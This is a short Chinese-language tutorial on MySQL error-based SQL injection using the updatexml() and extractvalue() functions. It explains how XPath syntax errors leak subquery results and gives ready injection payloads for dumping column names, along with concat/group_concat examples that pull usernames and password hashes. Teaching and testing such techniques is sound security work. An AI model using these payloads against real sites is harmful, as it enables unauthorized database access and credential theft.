Xpath报错注入（extractvalue和updatexml）

updatexml() 函数报错注入原理

• updatexml() 函数定义

UPDATEXML (XML_document, XPath_string, new_value);
第一个参数：XML_document是String格式，为XML文档对象的名称；
第二个参数：XPath_string (Xpath格式的字符串)；
第三个参数：new_value，String格式，替换查找到的符合条件的数据；
           

• updatexml() 函数运行机制

该函数对XPath_string进行查询操作，如果符合语法格式要求，则用第三个参数替换，不符合语法格式要求，则会报错并带出查询的结果

• 报错执行

SELECT updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1);
结果：
ERROR 1105 (HY000): XPATH syntax error: '~8.0.12~'
其中 0x7e 为十六进制字符 ~用于分隔字符串
           

payload:

and updatexml(1,concat((SELECT group_concat(0x7e,column_name) from users)),1);
           

🤨🤨🤨🤨🤨🤨🤨🤨🤨🤨🤨🤨华丽分割线🤨🤨🤨🤨🤨🤨🤨🤨🤨🤨🤨🤨

关于concat()与group_concat()的用法与区别

concat和group_concat都是用在sql语句中做拼接使用的，但是两者使用的方式不尽相同，concat是针对以行数据做的拼接，而group_concat是针对列做的数据拼接，且group_concat自动生成逗号

concat()：

select CONCAT(username,0x7e,password) from users;
结果：
+----------------------------------------+
| CONCAT(username,0x7e,password)         |
+----------------------------------------+
| admin~e10adc3949ba59abbe56e057f20f883e |
| george~afafagafh3427hr5s565s6h565d4fsh |
+----------------------------------------+
2 rows in set (0.00 sec)
           

group_concat():

select GROUP_CONCAT(username,0x7e,password) from users;
结果：
+-------------------------------------------------------------------------------+
| GROUP_CONCAT(username,0x7e,password)                                          |
+-------------------------------------------------------------------------------+
| admin~e10adc3949ba59abbe56e057f20f883e,george~afafagafh3427hr5s565s6h565d4fsh |
+-------------------------------------------------------------------------------+
1 row in set (0.00 sec)
           

concat()有几行数据就输出几行数据

group_concat()将所有数据放在一行，将每组数据用逗号隔开

🤨🤨🤨🤨🤨🤨🤨🤨🤨🤨🤨🤨华丽分割线🤨🤨🤨🤨🤨🤨🤨🤨🤨🤨🤨🤨

extractvalue()函数报错注入原理

• extractvalue()函数定义

EXTRACTVALUE (XML_document, XPath_string);
第一个参数：XML_document是String格式，为XML文档对象的名称；
第二个参数：XPath_string (Xpath格式的字符串)；
作用：从目标XML中返回包含所查询值的字符串；
           

用法与updatexml相同

payload：

and extractvalue(1,concat((SELECT group_concat(0x7e,column_name) from users)));